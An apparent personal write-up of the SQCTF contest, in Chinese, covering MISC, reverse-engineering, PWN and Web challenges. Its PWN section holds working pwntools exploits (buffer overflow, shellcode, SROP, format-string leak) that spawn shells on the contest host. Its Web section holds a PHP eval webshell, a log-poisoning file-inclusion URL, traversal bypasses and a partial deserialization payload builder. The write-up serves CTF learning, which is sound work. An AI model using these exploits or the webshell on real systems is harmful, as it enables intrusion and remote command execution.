SQCTF WriteUp

image-20250413182536541

image-20250413182513631

题目名称 解出情况
Web
千查万别 未解出
自私的小s 未解出
MISC
可否许我再少年 忘交问卷了
ez_music2 未解出
花非花,雾非雾_0 未解出
PWN
花非花,雾非雾_1 未解出

MISC

YuanShen_Start!

忘记写wp了,新版aud能看音轨的信息,然后解压,一个docx,套娃解就行

FFT IFFT

GPT写个复原脚本,一个什么东西存到两个文件夹,忘记写wp了大概是这样

SQCTF{HELLO}

孩儿们等我破军

修二维码

7d7f5a01e9cb7677917522f59532a7f

flag{亲爱的召唤师:欢迎来到sqnuctf!}修了半天

Welcome_Sign_in

扫二维码即可

love.host

image-20250407182045141

image-20250407182114931

1
sqctf{Sun Ensheng is the most handsome.}

大写即可

ez_music1

image-20250407183646272

SQCTF{Rush_B}

王者荣耀真是太好玩了

image-20250407194613747

宝宝你是一只白色大猫猫

用SE导出一张宽高被改的二维码,然后修改它的高度得到二维码

image-20250408191302159

CTF–图片隐写之修改图片宽和高_ctf修改图片高度-CSDN博客

image-20250408191644697

阿尼亚

直接图像隐写术 - A.Tools

image-20250408192710597

8f6711e6-7bb1-44e5-9ddf-5138127235ab

piet

Piet一种奇葩编程语言——利用在CTF中Piet的套路应该很多_npiet-CSDN博客

https://www.bertnase.de/npiet/

image-20250409124556222

image-20250409124643114

老君山的落日好美

没做,但是根据ggboy那题突发奇想将复现拼音交上去就过了…

luorihaomei

这是什么加密

Base2048

小巷人家

西园寺

抖音识别了下出来了

哈哈

哈哈 二进制

f88a5f6bebe41d626620502f8e801c1

SQCTF{5BChiLd_I5_re411Y_cUTE}

RE

ezRe

upx脱壳后用pyinstxtractor.py去提取这个exe文件

1
2
3
4
5
6
7
8
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import base64
encoded_flag = 'NWVkMmJlNDUtMmU4My00OGQyLWI2MzEtYzA4OGU1MWVlOTY0'
flag = base64.b64decode(encoded_flag).decode('utf-8')
print(flag)

在线反编译pyc文件即可得到源码

慕然回首,那人却在灯火阑珊处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char move; // [rsp+2Fh] [rbp-1h] BYREF

_main();
puts("Welcome to the Maze Game!");
puts("Find the path from 'S' to 'E' using w/a/s/d to move.");
puts("Enter your moves (e.g., 'wasd'):");
while ( 1 )
{
scanf(" %c", &move);
if ( move == 100 )
break;
if ( move > 100 )
{
if ( move == 115 )
{
if ( x <= 8 && maze[10 * x + 10 + y] != 35 )// "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
++x;
}
else
{
if ( move != 119 )
goto LABEL_20;
if ( x > 0 && maze[10 * x - 10 + y] != 35 )// "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
--x;
}
LABEL_21:
if ( maze[10 * x + y] == 69 ) // "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
{
puts("You are so clever! This is Jerry!");
puts("xixi Now enter the flag in the format 'sqctf{your_path}':");
exit(0);
}
}
else
{
if ( move == 97 )
{
if ( y > 0 && maze[10 * x - 1 + y] != 35 )// "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
--y;
goto LABEL_21;
}
LABEL_20:
puts("Invalid move!");
}
}
if ( y <= 8 && maze[10 * x + 1 + y] != 35 ) // "S**#########*########**#########**#########*###**##***###**##*#####**##*#####*E##*******############"
++y;
goto LABEL_21;
}
1
2
3
4
5
6
7
8
9
10
S**#######
##*#######
#**#######
##**######
###*###**#
#***###**#
#*#####**#
#*#####*E#
#*******##
##########

给出路径即可

ddsssdssaasssddddddwd

鹅鹅鹅,曲项向天歌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10


def verification():
part1 = 'flag{'
part2 = 'xxxxxxxxxxxxxxxxxxxxxxx'
part3 = '}'
tmp = ''
part2_1 = part2[:7]
part2_2 = part2[7:20]
part2_3 = part2[20:]
for i in range(len(part2_1)):
tmp += chr(ord(part2_1[i]) + 5)
for i in range(len(part2_2)):
tmp += chr(ord(part2_2[i]) + 0)
for i in range(len(part2_3)):
tmp += chr(ord(part2_3[i]) - 7)
ciphertext = 'itd~tzw_know_sanmenxbZ8'
true_flag = part1 + part2 + part3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ciphertext = 'itd~tzw_know_sanmenxbZ8'

# 拆分加密后的字符串
part1_encrypted = ciphertext[:7]
part2_encrypted = ciphertext[7:20]
part3_encrypted = ciphertext[20:]

# 解密第一部分:每个字符ASCII减5
decrypted_part1 = ''.join([chr(ord(c) - 5) for c in part1_encrypted])

# 第二部分保持不变
decrypted_part2 = part2_encrypted

# 解密第三部分:每个字符ASCII加7
decrypted_part3 = ''.join([chr(ord(c) + 7) for c in part3_encrypted])

# 合并所有部分
original_part2 = decrypted_part1 + decrypted_part2 + decrypted_part3
flag = f'flag{{{original_part2}}}'

print(flag)

flag{do_your_know_sanmenxia?}

SQCTF{do_your_know_sanmenxia?}

圣人当仁不让

查看源码,中间对flag改变,感觉跟vm没多大关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

encoded_str = "/P7sAe/U0s7c1vjb0vjfyt=="

# Base64 解码
processed_bytes = base64.b64decode(encoded_str)

# 逆向 vm_execute 处理
flag_bytes = bytes([(((b - 3) ^ 0xAA)) % 0xff for b in processed_bytes])

# 转换为字符串
flag = flag_bytes.decode('utf-8')

print("Flag:", flag)

SQCSF{easy_re_vm

改成SQCTF

往事暗沉不可追

解密后的数据就是flag,用逗号隔开,flag请以SQCTF提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class SimpleVM:

def __init__(self):
self.memory = [0] * 256
self.registers = [0] * 16

def load(self, reg, addr):
self.registers[reg] = self.memory[addr]

def store(self, reg, addr):
self.memory[addr] = self.registers[reg]

def xor(self, reg, value):
self.registers[reg] ^= value

def execute(self, bytecode):
ip = 0
if ip < len(bytecode):
op = bytecode[ip]
if op == 'LOAD':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.load(reg, addr)
ip += 3
elif op == 'STORE':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.store(reg, addr)
ip += 3
elif op == 'XOR':
reg = bytecode[ip + 1]
value = bytecode[ip + 2]
self.xor(reg, value)
ip += 3
else:
raise ValueError(f'''Unknown opcode: {op}''')
if not None < len(bytecode):
return None
return None

def get_memory(self):
return self.memory

bytecode = [
'LOAD', 0, 16,
'XOR', 0, 85,
'STORE', 0, 32,
'LOAD', 1, 32,
'XOR', 1, 170,
'STORE', 1, 48
]

encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]

vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data
vm.execute(bytecode)
final_memory = vm.get_memory()

reg = 0 addr = 16 127

1
2
3
4
encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
decrypted = [x ^ 0xFF for x in encrypted_data]
flag = f"SQCTF{{{','.join(map(str, decrypted))}}}"
print(flag)

自己做比Deepseek快系列,反汇编的代码是错的,if ip < len(bytecode):应该是while

SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}

1
sqctf{Sun_Ensheng_is_the_most_handsome.}

遇事不决,可问春风

image-20250409103000206

1
2
3
4
enc = '5#)75#)7'

for i in range(len(enc)):
print(chr(ord(enc[i] )^ ord('B')),end='')

春风也有春风愁

DEEPSEEK梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 定义两个QWORD数值
qword1 = 0xFBF715FA08FD0B0D
qword2 = 0x0F0E011431130DFB # 补零后的数值

# 将QWORD转换为小端字节数组
def qword_to_bytes_le(qword):
return bytes.fromhex(f"{qword:016x}")[::-1]

bytes1 = qword_to_bytes_le(qword1) # 前8字节
bytes2 = qword_to_bytes_le(qword2) # 后8字节

# 构造v6数组(15字节)
v6 = bytearray(15)
v6[0:8] = bytes1 # 填充前8字节
v6[7:15] = bytes2[:8] # 从第7个位置开始填充后8字节

# 计算每个字符
flag = []
for byte in v6:
temp = (byte - 55) % 256 # 处理减法溢出
c = temp ^ 0xA5
flag.append(c)

# 转换为字符串
flag_str = bytes(flag).decode('latin1')
print("Flag:", flag_str)

你若安好便是晴

image-20250409110431012

deepseek梭了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def decrypt_block(v0, v1, key):
delta = 0x9E3779B9
sum_ = (delta * 32) & 0xFFFFFFFF # 初始sum为0xC6EF3720
for _ in range(32):
# 根据sub_101的逻辑处理v1和v0
temp = ((v0 << 4) + key[2]) & 0xFFFFFFFF
temp ^= (v0 + sum_) & 0xFFFFFFFF
temp ^= ((v0 >> 5) + key[3]) & 0xFFFFFFFF
v1 = (v1 - temp) & 0xFFFFFFFF

temp = ((v1 << 4) + key[0]) & 0xFFFFFFFF
temp ^= (v1 + sum_) & 0xFFFFFFFF
temp ^= ((v1 >> 5) + key[1]) & 0xFFFFFFFF
v0 = (v0 - temp) & 0xFFFFFFFF

sum_ = (sum_ + 0x61C88647) & 0xFFFFFFFF # 相当于每次减去delta

return v0, v1

def tea_decrypt(ciphertext, key):
plaintext = bytearray()
for i in range(0, len(ciphertext), 8):
block = ciphertext[i:i+8]
v0 = int.from_bytes(block[:4], 'little')
v1 = int.from_bytes(block[4:8], 'little')
v0_dec, v1_dec = decrypt_block(v0, v1, key)
plaintext.extend(v0_dec.to_bytes(4, 'little'))
plaintext.extend(v1_dec.to_bytes(4, 'little'))
return bytes(plaintext)

# 处理密钥(转换为无符号32位整数)
key = [305419896, -2023406815, -1412567144, -1728127814]
key = [(x + (1 << 32)) % (1 << 32) for x in key]

# 密文转换为字节
ciphertext = bytes.fromhex("7f1f17fd8e51aa660b8036914a4950e8fa8078a2ef33608650fb7a845226f2d1")

# 执行TEA解密
decrypted_data = tea_decrypt(ciphertext, key)

# 应用sub_100的处理(异或22)
processed = bytes([b ^ 22 for b in decrypted_data])

# 输出结果
try:
flag = processed.decode('utf-8').strip('\x00')
print("Flag:", flag)
except UnicodeDecodeError:
print("Decrypted Bytes (hex):", processed.hex())

人生自古谁无死

PATCH掉反调试,然后动调

image-20250409112212216

image-20250409112219595

天下谁人不识君

AI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'

flag = ''
for i in range(len(result)//2):
r1 = result[2*i]
r2 = result[2*i+1]
found = False
for c in range(32, 127): # 可打印ASCII范围
s1 = c // 17
s2 = c % 17
e1 = s[(s1 + i) % 34]
e2 = s[-(s2 + i + 1) % 34]
if e1 == r1 and e2 == r2:
flag += chr(c)
found = True
break
if not found:
flag += '?'

print('Recovered flag:', flag)

唧唧复唧唧,木兰当户织

BASE64解码后逗号换成英文

即随本心

pyc逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

key = b'1234567890abcdef'
encrypted_data = 'MTIzNDU2Nzg5MGFiY2RlZpOn0SHxbVMvaa7jQztMCBtCCiuX+ZRBzSfcL01St5Bmi8BjGeuXliictrjqzSpCGw=='

# Step 1: base64 解码
raw = base64.b64decode(encrypted_data)

# Step 2: 分离 IV 和密文
iv = raw[:16]
ciphertext = raw[16:]

# Step 3: 创建 AES cipher 对象
cipher = AES.new(key, AES.MODE_CBC, iv)

# Step 4: 解密 + unpad
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, AES.block_size)

print('解密结果:', plaintext.decode('utf-8'))

看山不是山

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def decrypt(encrypted_data):
key_bytes = [0x4d, 0x3c, 0x2b, 0x1a] # 根据密钥439041101的移位结果确定的字节顺序
result = []
for i in range(len(encrypted_data)):
encrypted_byte = encrypted_data[i]
# 逆向加法操作
y = (encrypted_byte - i) % 256
# 逆向异或操作
key_byte = key_bytes[i % 4]
data_byte = y ^ key_byte
result.append(data_byte)
return bytes(result)

# 目标密文
target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')
# 解密
decrypted_data = decrypt(target)
print("解密后的数据:", decrypted_data)
print("十六进制表示:", decrypted_data.hex())

不劳春风解我忧

xxtea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <iostream>
#define DELTA 0x9e3779b9

#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

#define MX2 (((z << 5 ^ y >> 2) + (y << 3 ^ z >> 4)) ^ ((sum ^ y) + (key2[(p & 3) ^ e] ^ z)))

uint32_t key[]{ 0x6e637466, 0x62ef0ed ,0xa78c0b4f, 0x32303234 };

uint32_t key2[]{ 0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446 };

void xxtea_decrypt1(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p-1)%5];

if (p == 4)
y = v[0];
else
y = v[p + 1];

v[p] -= MX;

}
sum -= DELTA;
} while (--rounds);
}

void xxtea_decrypt2(uint32_t* v, int n)
{
uint32_t y, z, sum;
unsigned rounds, e;
rounds = 16;
sum = DELTA * rounds;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (int p = 5 - 1; p >= 0; p--)
{
if (p == 0)
z = v[4];
else
z = v[(p - 1) % 5];

if (p == 4)
y = v[0];
else
y = v[p + 1];

v[p] -= MX2;

}
sum -= DELTA;
} while (--rounds);
}

int main()
{
unsigned char enc1[] =
{
0x5D, 0x45, 0xD5, 0xB9, 0x8C, 0x95, 0x9C, 0x38, 0x3B, 0xB1,
0x3E, 0x1E, 0x5F, 0xC8, 0xE8, 0xBB, 0x64, 0x38, 0x48, 0x69
};
unsigned char enc2[] =
{
0xDE, 0x81, 0xD8, 0xAD, 0xC2, 0xC4, 0xA6, 0x32, 0x1C, 0xAB,
0x61, 0x3E, 0xCB, 0xFF, 0xEF, 0xF1, 0x27, 0x30, 0x7A, 0x16
};

xxtea_decrypt1((uint32_t*)enc1, 5);
xxtea_decrypt2((uint32_t*)enc2, 5);

printf("%.20s%.20s\n", enc1,enc2);

return 0;
}

击败abyssun

真的在找锁血和控运行时间,没搞懂,最后想了下是不是都藏在内存中呢

image-20250412135556060

PWN

浅红欺醉粉,肯信有江梅

NC cat即可

领取你的小猫娘

ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
local = 0
if local == 1:
io = process('./cat')
else:
io = remote("challenge.qsnctf.com",31013)
elf = ELF('./cat')

backdoor = 0x40121B
payload = b'a' * 0x58 + p64(backdoor)

io.sendlineafter(b"[+]hint:Virtual cat girl loves to eat characters",payload)
io.interactive()

我觉君非池中物,咫尺蛟龙云雨

执行shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
local = 0
if local == 1:
io = process('./pwn')
else:
io = remote("challenge.qsnctf.com",30886)
elf = ELF('./pwn')

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
print(len(shellcode))

io.sendafter(b"arranged window.",shellcode)
io.interactive()

江南无所有,聊赠一枝春

需要栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
local = 0
if local == 1:
io = process('./gift')
else:
io = remote("challenge.qsnctf.com",31364)
elf = ELF('./gift')

backdoor = 0x4011B6
ret_addr = 0x4012C6
payload = b'a' * 0x48 + p64(ret_addr) + p64(backdoor)

io.sendlineafter(b"my gift?",payload)
io.interactive()

当时只道是寻常

SROP

只有syscall,发现了binsh地址,构造ROP的话没有pop_rdi,只能SROP好像..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

local = 1
if local == 1:
io = process('./pwn01')
else:
io = remote("challenge.qsnctf.com",30832)
elf = ELF('./pwn01')

pop_rsi_pop_rax_ret = 0x401049
syscall_addr = 0x401045
binsh_addr = 0x40203a

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload = b'a' * 8
payload += p64(pop_rsi_pop_rax_ret)
payload += p64(0)
payload += p64(0xf)
payload += p64(syscall_addr)
payload += bytes(frame)

io.send(payload)
io.interactive()

赌书消得泼茶香

输入经过了一次base64decode,然后复制到dest,可造成栈溢出,注意要栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import base64

context(arch = 'amd64',os = 'linux',log_level = 'debug')

local = 0
if local == 1:
io = process('./pwn02')
else:
io = remote("challenge.qsnctf.com",30767)
elf = ELF('./pwn02')

# 获取system("/bin/sh")的地址,此处根据题目提供的信息填写
target_addr = 0x40141D
ret_addr = 0x401546
payload = b'a'* 0x68 + p64(ret_addr) + p64(target_addr) # 填充至返回地址前

# Base64编码
b64_payload = base64.b64encode(payload)
print(b64_payload)

# 启动进程并发送payload
io.sendlineafter(b'How are you feeling right now?', b64_payload)
io.interactive()

# payload += p64(ret_addr)

被酒莫惊春睡重

利用syscall,没有binsh则在栈上造一个

我们发现第一次泄露的地址跟在写诗里面的地址恰好一致,直接用即可

image-20250410231153875

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux', log_level='debug')

local = 1
if local:
io = process('./pwn')
else:
io = remote("challenge.qsnctf.com", 32293)

elf = ELF('./pwn')

io.recvuntil(b'\xad\x97\x3a')
io.sendline(b'abc')
io.recvuntil(b'\xa5\xbd\x2c')

io.recvuntil('0x')
stack_addr = int(io.recv(12),16)
print('stack_addr--->>' + hex(stack_addr))

syscall_addr = 0x4011ec
pop_rsi_rdi_rax = 0x4011e1

io.recvuntil(b'(1-3): ')
io.sendline(b'1')
payload = b'/bin/sh\x00' + b'a' * 0x20 + p64(pop_rsi_rdi_rax) + p64(0) + p64(stack_addr) + p64(59) + p64(syscall_addr)
io.send(payload)

io.interactive()

铜雀春深锁二乔

aaaa %08x %08x %08x %08x %08x %08x %08x

1
2
3
Pondering the past as I stand in the remnants of the setting sun.
aaaa %08x %08x %08x %08x %08x %08x %08x
aaaa 349c8f20 00000027 2ce2c7e2 00000041 2cf5b040 61616161 30252078good!

image-20250410233743207

可以泄露11和13,但是这个基址不知道是啥,看了下可能是main

image-20250410233826177

做了四个小时,想用栈迁移,最后试了下onegadget可能可行,在找可写区域又找了好久….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

local = 0
if local:
io = process('./pwn03')
else:
io = remote("challenge.qsnctf.com", 30592)
elf = ELF('./pwn03')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.recvuntil(b'sun')
io.send(b'%11$p %13$p')

# 解析泄露的值
io.recvuntil('0x')
canary = int(io.recv(16),16)
print("canary--->>>" + hex(canary))

io.recvuntil('0x')
stack_addr = int(io.recv(12), 16)
libc_base = stack_addr - 0x29d90
# libc_base = stack_addr - 128 + 176 - libc.sym['__libc_start_main']

print("libc_base--->" + hex(libc_base))
print("stack_addr--->" + hex(stack_addr))

# io.recvuntil('0x')
# pie_addr = int(io.recv(12), 16) - 0x125b
# print("pie_addr--->" + hex(pie_addr))

# sys_addr = pie_addr + 0x10D0
# ret_addr = pie_addr + 0x1234
# sys_addr = pie_addr + 0xebc81
# pop_rdi_ret = pie_addr + 0x1245

# print("sys_addr--->>" + hex(sys_addr))

gadgets = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
onegadget_offset = 0xebd3f
onegadget_addr = libc_base + onegadget_offset
print("onegadget --->", hex(onegadget_addr))

payload = b'a' * 8
payload += p64(canary)
payload += p64(libc_base + 0x220000)
payload += p64(onegadget_addr)

io.sendline(payload)
io.interactive()

萧萧黄叶闭疏窗

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

local = 0
if local:
io = process('./bad')
else:
io = remote("challenge.qsnctf.com", 31569)
elf = ELF('./bad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

shellcode = asm(shellcraft.sh())

padding = b"A" * 64 # 填满 dest
padding += b"B" * 8 # 覆盖 saved rbp

shellcode_addr = 0x4040A0
payload = padding + p64(shellcode_addr)

# 将 shellcode 填在开头
final_payload = shellcode.ljust(0x40, b"\x90") + b'a' * 8 + p64(0x4040A0)

# 交互发送
io.recvuntil(b"What do you want to do ?")
io.send(final_payload)
io.interactive()

借的东风破金锁

没感受到溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

local = 0
if local:
io = process('./key')
else:
io = remote("challenge.qsnctf.com", 31073)

payload = b'\x46\x54\x43\x55\x4E\x51\x53\x00'

io.recvuntil(b"Input your key: ")
io.send(payload)
io.interactive()

花非花,雾非雾_1 [没出]

image-20250412141540987

1
50 4B 03 04 14 00 08 00

zip,发现一个docx

image-20250412121106563

爆破

image-20250412142232031

发现一个fakeflag

there is nothing for haha

其实是逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def solve():
# 拼接目标字节序列(小端序)
v5 = 0xFCA5C8F9DC9DC3DE
v6 = 0xD8F5A4D4
v7 = 0xA501

target = v5.to_bytes(8, 'little') + v6.to_bytes(4, 'little') + v7.to_bytes(2, 'little')

result = ''
for i in range(14):
# 反推公式:(s[i] ^ 0xAA) + i == target[i]
val = (target[i] - i) & 0xFF # 保证字节合法
c = val ^ 0xAA
result += chr(c)

print("Recovered Key:", result)

solve()

th1s_i5_f1Ag_2

nc即可

base91解出来

F9KBbQmplPrIhMHRb9LBfMro+

再xxdecode

-eadbee-fcdmk-cgs-qou-a7g-skc}

中间搞了4h

d29_qaXVza_GlndXlpZ_Xhpbm5p_ZGVoYWh_haGE

这个东西是王者荣耀的flag不一定是flag跟之前相对应

后来又卡了一会

发现好像是base64解码后

d29qaXVzaGlndXlpZXhpbm5pZGVoYWhhaGE

就是wojiushiguyifxinnidehahaha

解压还是不对

语义不通把f改成e,解压出了

wojiushiguyiexinnidehahaha

1
UEsDBBQAAAAAAG6tiFon6sTpEQAAABEAAAArAAAA2sDRvaOszfXV38jZ0qvKx8rAvefJz9fuusPN5rXE087Pty9mbGFnLnR4dHNxY3Rme2xhaWNhaS1kZWFkUEsBAhQAFAAAAAAAbq2IWifqxOkRAAAAEQAAACsAAAAAAAAAAQAgAAAAAAAAANrA0b2jrM311d/I2dKrysfKwL3nyc/X7rrDzea1xNPOz7cvZmxhZy50eHRQSwUGAAAAAAEAAQBZAAAAWgAAAAAA
1
PKn­ˆZ'êÄé+ÚÀѽ£¬ÍõÕßÈÙÒ«ÊÇÊÀ½çÉÏ×îºÃÍæµÄÓÎÏ·/flag.txtsqctf{laicai-deadPKn­ˆZ'êÄé+ ÚÀѽ£¬ÍõÕßÈÙÒ«ÊÇÊÀ½çÉÏ×îºÃÍæµÄÓÎÏ·/flag.txtPKYZ

sqctf{laicai-dead-eadbee-fcdmk-cgs-qou-a7g-skc}

sqctf{laicai-dead-cdmk-}

cgsqoua7gskc

sqctf{laicai-deadbee-fcdmk-cgs-qou-a7g-skc}

Web

商师一日游

忘记写wp了,关卡类的,看看cookie,hackerbar即可

ezGame

2048玩够分数即可

My Blog

源码发现

image-20250407200520610

直接robots.txt发现login.php登录得flag

Upload_Level1

蚁剑链接,上传b.jpg改php,传一句话木马

1
<?php eval($_POST['cmd']);?>

image-20250407201455988

baby include

日志+UA注入,因为路径穿越不知道为什么一直没找到flag…..

1
http://challenge.qsnctf.com:31821/?look=../../../../../../../var/log/nginx/access.log&cmd=tac ./flag.php

image-20250407210126875

sqctf{–>48f53834a9af4c1f9fd2aa1a5fa88446}

3834a9af4c1f9fd2aa1a5fa88446}

改cookie为strong

查看各种信息,多行匹配

1
http://challenge.qsnctf.com:31694/atc5uupl.php?hhh=abc%0Aphp%0Axyz

最后直接蚁剑链接即可

image-20250407212703562

Through

以为在flag.php里,找半天在flag里,过滤了../用…/.绕过

image-20250408152931728

1
..././..././flag.php

image-20250408210329736

File_download

根据提示Downservlet查看了index.jsp发现登录没用,穿越路径也不行

然后想到是个java后端,查看了

1
/DownloadServlet?filename=WEB-INF/web.xml

找到了FlagManager,想着去访问

然后访问

1
http://challenge.qsnctf.com:30382/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class

显示请下载

再回到初始页面看了下,发现隐藏表单,去掉none之后,改get为post,就能下载了

提交路径

1
WEB-INF/classes/com/ctf/flag/FlagManager.class

下载后在线反编译

image-20250408170122892

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager extends HttpServlet {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}

public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList();

for(int i = 0; i < arr.length; ++i) {
int result = arr[i] + 38 ^ 48;
Resultlist.add(result);
}

int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
ArrayList<Integer> Keylist = new ArrayList();

for(int j = 0; j < key.length; ++j) {
Keylist.add(key[j]);
}

System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}

}
}

写出解密代码

1
2
3
4
enc = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

for i in range(len(enc)):
print(chr((enc[i] ^ 48) - 38),end='')

85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

唯一

手搓半天最后有个过不了,只好一把梭了

image-20250408223710507

eeaassyy

发现了第二页

image-20250408223930101

image-20250408231253994

image-20250408231231154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import pickle
import base64

# 手动实现PHP的serialize函数
def php_serialize(obj):
if isinstance(obj, str):
return f's:{len(obj)}:"{obj}";'
elif isinstance(obj, bool):
return f'b:{int(obj)};'
elif isinstance(obj, int):
return f'i:{obj};'
elif isinstance(obj, list):
out = ''
for i, val in enumerate(obj):
out += php_serialize(i) + php_serialize(val)
return f'a:{len(obj)}:{{{out}}}'
elif isinstance(obj, dict):
out = ''
for key, val in obj.items():
out += php_serialize(key) + php_serialize(val)
return f'a:{len(obj)}:{{{out}}}'
elif isinstance(obj, PhpObject):
props = ''
for k, v in obj.properties.items():
props += php_serialize(k) + php_serialize(v)
return f'O:{len(obj.classname)}:"{obj.classname}":{len(obj.properties)}:{{{props}}}'
else:
raise Exception("Unsupported type")

class PhpObject:
def __init__(self, classname, properties):
self.classname = classname
self.properties = properties

url = "http://challenge.qsnctf.com:32431/"

# Step 1 - 写 flag.php 的内容进 a.txt
yyy_obj = PhpObject("yyy", {
"path": "flag.php",
"allowed": True
})

xxx_obj = PhpObject("xxx", {
"data": yyy_obj
})

hhh_obj = PhpObject("hhh", {
"file": "a.txt",
"content": xxx_obj
})

